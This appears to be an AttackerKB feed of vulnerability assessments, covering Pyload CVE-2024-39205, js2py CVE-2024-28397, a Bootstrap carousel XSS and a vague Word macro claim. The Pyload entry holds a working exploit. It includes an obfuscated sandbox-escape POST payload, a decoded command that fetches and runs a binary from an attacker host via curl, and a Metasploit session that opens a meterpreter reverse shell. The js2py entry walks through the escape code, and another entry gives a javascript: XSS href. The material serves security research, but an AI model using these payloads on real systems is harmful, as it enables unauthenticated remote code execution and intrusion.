Activity Feed

1

Hey @nu11secur1ty, it’s not beneficial to the community to post a link to a PoC that directs to a personal platform you appear to be using for profit. We’ve spoken before about the need to share open information on AttackerKB — please either link to an open-source PoC or remove the link to the PoC on Patreon. We’ll give you 24 hours to fix this or else we will remove this assessment.

0
Ratings
Technical Analysis

This is a 0-day vulnerability because Microsoft still can not do anything against this nonsense to input a VBS programming language into the Word program – macros options.
That they make verification of any VBS is not fixing the problem. In this case, the attacker can bypass this security view of Office 365 – Word, and the victim can easily open a malicious docx file that directly communicates with the attacker’s server. This won’t be nice for the target.


#NOTE: I will not upload any code, for security reasons!
Sorry about that but you can find it, if you want :)!
Best Regards to the Rapid7 team!

Demo of PoC [+]:
PoC

Best Regards to all.

2
Ratings
Technical Analysis

Pyload is an open-source download manager designed to automate file downloads from various online sources. CVE-2024-39205 is a remote
code execution vulnerability in Pyload (<=0.5.0b3.dev85) which can’t be talked about without CVE-2024-28397. CVE-2024-28397 is a sandbox escape vulnerability in js2py (<=0.74). Pyload is vulnerable because it exposes the vulnerable js2py functionality on its /flash/addcrypted2 API endpoint. So they’re essentially the same vulnerability, one is the original vulnerability in the package (CVE-2024-28397) and the other is the vulnerable package in an application being used in a vulnerable way (CVE-2024-39205). For a deeper dive on how the sandbox escape works checkout the AKB Article.

What makes this Pyload nicely exploitable is that the vulnerable endpoint, /flash/addcrypted2, was designed to only accept connections from localhost. However, by manipulating the HOST header (and setting it manually to 127.0.0.1:9666) we can bypass this restriction in order to access the API to achieve unauthenticatecd RCE.

If we spin up the following vulnerable Pyload docker container:

docker run -d \
  --name=pyload-ng \
  -e PUID=1000 \
  -e PGID=1000 \
  -e TZ=Etc/UTC \
  -p 8000:8000 \
  -p 9666:9666 \
  --restart unless-stopped \
  lscr.io/linuxserver/pyload-ng:version-0.5.0b3.dev85

And then if we send the following POST request:

POST /flash/addcrypted2 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.2792.79
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: 3151

crypted=MQ%3d%3d&jk=let%20gn_vuk%20%3d%20String.fromCharCode%28%20%200x63%2c%20117%2c%20114%2c%20108%2c%200x20%2c%200x2d%2c%200x73%2c%20111%2c%20040%2c%20056%2c%20057%2c%200x66%2c%200x42%2c%200x54%2c%200111%2c%200x79%2c%20110%2c%2099%2c%20108%2c%20040%2c%20104%2c%20116%2c%200164%2c%200160%2c%20072%2c%20057%2c%2047%2c%200x31%2c%2055%2c%200x32%2c%200x2e%2c%2049%2c%200x36%2c%200x2e%2c%20061%2c%200x39%2c%2057%2c%2046%2c%20061%2c%200x3a%2c%200x38%2c%20060%2c%2056%2c%200x30%2c%20057%2c%2056%2c%2081%2c%20118%2c%2066%2c%200125%2c%200x50%2c%200x32%2c%20115%2c%200125%2c%200105%2c%200x6d%2c%200x73%2c%200161%2c%2055%2c%20114%2c%200x5f%2c%200172%2c%200x65%2c%200110%2c%200x4b%2c%2057%2c%200x41%2c%2059%2c%2032%2c%200x63%2c%20104%2c%200x6d%2c%200157%2c%20100%2c%2032%2c%200x2b%2c%200x78%2c%200x20%2c%2046%2c%20057%2c%200146%2c%2066%2c%200124%2c%200111%2c%200171%2c%200x6e%2c%200x63%2c%20108%2c%2059%2c%2032%2c%20056%2c%200x2f%2c%200x66%2c%200x42%2c%200124%2c%200x49%2c%20121%2c%200x6e%2c%2099%2c%200154%2c%2032%2c%20046%20%29%0alet%20e_HN%2c%20hnktIzX%2c%20lLvLEoCSOI%0alet%20aCfc8WvqK%2c%20hOq75PVaOuLE%0a%0as5YzR%20%3d%20String.fromCharCode%28%20%200x5f%2c%200137%2c%200x62%2c%2097%2c%200163%2c%200145%2c%200x5f%2c%200x5f%20%29%0asxNn9E7%20%3d%20String.fromCharCode%28%20%200137%2c%200137%2c%200147%2c%20101%2c%200x74%2c%200141%2c%200x74%2c%200164%2c%20114%2c%200151%2c%200142%2c%20117%2c%200164%2c%20101%2c%200x5f%2c%200137%20%29%0ae_HN%20%3d%20Object.getOwnPropertyNames%28%7b%7d%29%0ahnktIzX%20%3d%20e_HN%5bsxNn9E7%5d%0alLvLEoCSOI%20%3d%20hnktIzX%28String.fromCharCode%28%20%2095%2c%200137%2c%200x67%2c%200x65%2c%20116%2c%200x61%2c%200164%2c%200164%2c%200x72%2c%20105%2c%200142%2c%20117%2c%20116%2c%20101%2c%200x5f%2c%200137%20%29%29%0ahOq75PVaOuLE%20%3d%20lLvLEoCSOI%28String.fromCharCode%28%20%2095%2c%200137%2c%200143%2c%200154%2c%2097%2c%20115%2c%200163%2c%2095%2c%2095%20%29%29%5bs5YzR%5d%0aaCfc8WvqK%20%3d%20hOq75PVaOuLE%5bsxNn9E7%5d%0acF_EUy%20%3d%20String.fromCharCode%28%20%2095%2c%200x5f%2c%200163%2c%200165%2c%200142%2c%200143%2c%200x6c%2c%2097%2c%20115%2c%200163%2c%200x65%2c%200x73%2c%2095%2c%200x5f%20%29%3b%0a%0afunction%20nNmzXJ4%28hrx%29%20%7b%0a%20%20%20%20let%20ulg4%3b%0a%20%20%20%20for%28let%20i57HuIp%20in%20hrx%5bcF_EUy%5d%28%29%29%20%7b%0a%20%20%20%20%20%20%20%20let%20u5QFJXSf%20%3d%20hrx%5bcF_EUy%5d%28%29%5bi57HuIp%5d%0a%20%20%20%20%20%20%20%20if%28u5QFJXSf.__module__%20%3d%3d%20unescape%28%22%2573%2575%2562%2570%2572%22%20%2b%20%22%256f%2563%2565%2573%2573%22%29%20%26%26%20u5QFJXSf.__name__%20%3d%3d%20String.fromCharCode%28%20%2080%2c%200x6f%2c%200160%2c%20101%2c%200x6e%20%29%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20return%20u5QFJXSf%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20if%28u5QFJXSf.__name__%20%21%3d%20String.fromCharCode%28%20%20116%2c%200x79%2c%20112%2c%200145%20%29%20%26%26%20%28ulg4%20%3d%20nNmzXJ4%28u5QFJXSf%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20return%20ulg4%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%7d%0a%0alLvLEoCSOI%20%3d%20nNmzXJ4%28hOq75PVaOuLE%29%28gn_vuk%2c%20-1%2c%20null%2c%20-1%2c%20-1%2c%20-1%2c%20null%2c%20null%2c%20true%29.communicate%28%29%0a

With a listener setup, we will receive a call back from our payload.

Lets analyze the contents of the POST request. We can see we trick the API into processing our request by setting the Host header: Host: 127.0.0.1:9666. The POST parameter crypted is just a random 4 characters base64 encoded, quite inconsequential. The jk parameter contains the javascript payload (which technically exploits CVE-2024-28397) which has been obfuscated as well as URL encoded.

The plain text version of the payload is as follows (taken from CVE-2024-28397-js2py-Sandbox-Escape/blob/main/poc.py::

let cmd = "curl -so ./qOjRpLcmT http://172.16.199.1:8080/8QvBUP2sUEmsq7r_zeHK9A; chmod +x ./qOjRpLcmT; ./qOjRpLcmT & "
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11

Again, for a deeper dive into what’s going on in the javascript above check out CVE-2024-28397.

Attacker Value and Exploitability

This vulnerability is pretty easy to exploit, requires no authentication and is vulnerable in it’s default configuration. Pyload has 3.3k stars on github meaning that the plugin is being used in some capacity. Added context: I decided to give the attacker rating (3/5), one less than the rating I gave for the js2py sandbox escape CVE-2024-28397, because this vulnerability is patched and the value it can provide to attackers is limited to the Pyload application. The js2py bug is not patched and could provide attackers value in many other applications the library is used in.

Metasploit Module in Action

msf6 > use linux/http/pyload_js2py_cve_2024_39205
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > options
Module options (exploit/linux/http/pyload_js2py_cve_2024_39205):
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      9666             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host
   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      FTdcATmGGDpa     no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload; cannot contain spaces
   LHOST               172.16.199.1     yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Unix Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing Unix Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending stage (3045380 bytes) to 172.16.199.1
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:56080) at 2024-11-12 15:47:19 -0800
meterpreter > getruid
[-] Unknown command: getruid. Did you mean getuid? Run the help command for more details.
meterpreter > getuid
Server username: abc
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           :  (Linux 6.10.11-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
2
Ratings
  • Attacker Value
    High
  • Exploitability
    High
Technical Analysis

Js2py is JavaScript to Python Translator & JavaScript interpreter written in 100% pure Python. It’s described as an implementation of JavaScript core in python. There exists a sandbox escape vulnerability in versions of js2py <= 0.74. The vulnerability allows for an attacker to obtain a reference to a python object in the js2py environment enabling them to escape the sandbox and execute arbitrary commands on the host. At the time of writing no patch has been merged into the main branch of the project, although there is a PR up. Version 0.74 is the latest version of js2py which was released Nov 6, 2022.

If we take a look at the proposed one line patch we can see the issue is quite apparent:

The method getOwnPropertyNames is supposed to return a list of the object’s own keys however it mistakenly returns a reference to the object itself. With knowledge we can analyze the PoC and see how this bug allows for RCE. The following is a javascript payload an attacker would send to a vulnerable endpoint to be parsed by js2py:

object = Object.getOwnPropertyNames({})       // [1] 
attribute = object.__getattribute__           // [2] 
n11 = attribute("__getattribute__")           // [3] 
obj = n11("__class__").__base__               // [4]
  • [1]: Object.getOwnPropertyNames({}) we know from the brief patch analysis incorrectly returns a Python object instead of a list of property names, causing unexpected behavior in subsequent introspection.
  • [2] .__getattribute__ is a special method that allows you to customize the attribute access behavior for an object. It is called whenever an attribute is accessed on an object, regardless of whether the attribute exists or not. This line stores the __getattribute__ method of the object in variable attribute.
  • [3] This line calls the __getattribute__ method (stored in attribute) with the argument __getattribute__. This retrieves the __getattribute__ method from the Python object and assigns it to n11. If python object introspection reminds you of the movie inception, that’s okay.
  • [4] Now we have a function n11 which we can use to access the __class__ attribute of the object and then the __base__ attribute of its class. And with this in place now we can do some damage.

We can see how the PoC then takes that object and sends it off to the function findpopen(o).

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()

This function iterates through all of the object’s subclasses in order to find subprocess and its corresponding Popen function. Now with a reference to Python’s
Popen we can send arbitrary commands to the target, remotely, without authentication, directly from javascript. Very cool. The full PoC can be found here.

Attacker Value and Exploitability

Js2py is just a python package and in order to be exploitable needs to be used by an application in a way that exposes the vulnerable API functionality to attackers. This makes things interesting – it’s not technically vulnerable by default but at the same time it’s a bit harder to determine where vulnerable instances of js2py could be lurking. The github repo says the package is used by 15,623. Seeing as the vulnerability is still unpatched I’d say this is fairly useful to attackers for a vulnerability in a python package. It’s also quite easy to exploit if the application is using js2py in a vulnerable configuration.

Related – CVE-2024-39205

This CVE is for Pyload, a python download manager which incorrectly exposes js2py making it vulnerable to this javascript sandbox escape. For more information on how this can be exploited check out the AKB article.

1
2
Ratings
Technical Analysis

Because this vulnerability only arises when the carousel is in use, and we can control the href attribute, the rating was given to be lower than usual.

example:

<div id="Carousel" class="carousel"></div>
<a href="javascript:alert('xss')" data-slide="prev">
  Previous Slide
</a>

Bootstrap carousel component: https://getbootstrap.com/docs/4.6/components/carousel/

In the two scenarios where bootstrap was used by the target, there was either no carousel in use or, like most, a carousel with non-user controllable elements. Thus giving no way to exploit unless you are already an admin on the CMS.

While a successful exploitation of this vulnerability could lead to code execution and could even be used to capture higher privileged credentials, the real world exploitability of this vulnerability seems to be rather low.

So to summarize, to be able to actually exploit it we need:

  • a website using an affected bootstrap version
  • the website must implement the carousel component from bootstrap
  • we must be able to control the href attribute given to the carousel
  • no presence of a valid data-target attribute because it will override the href and the XSS would not be evaluated.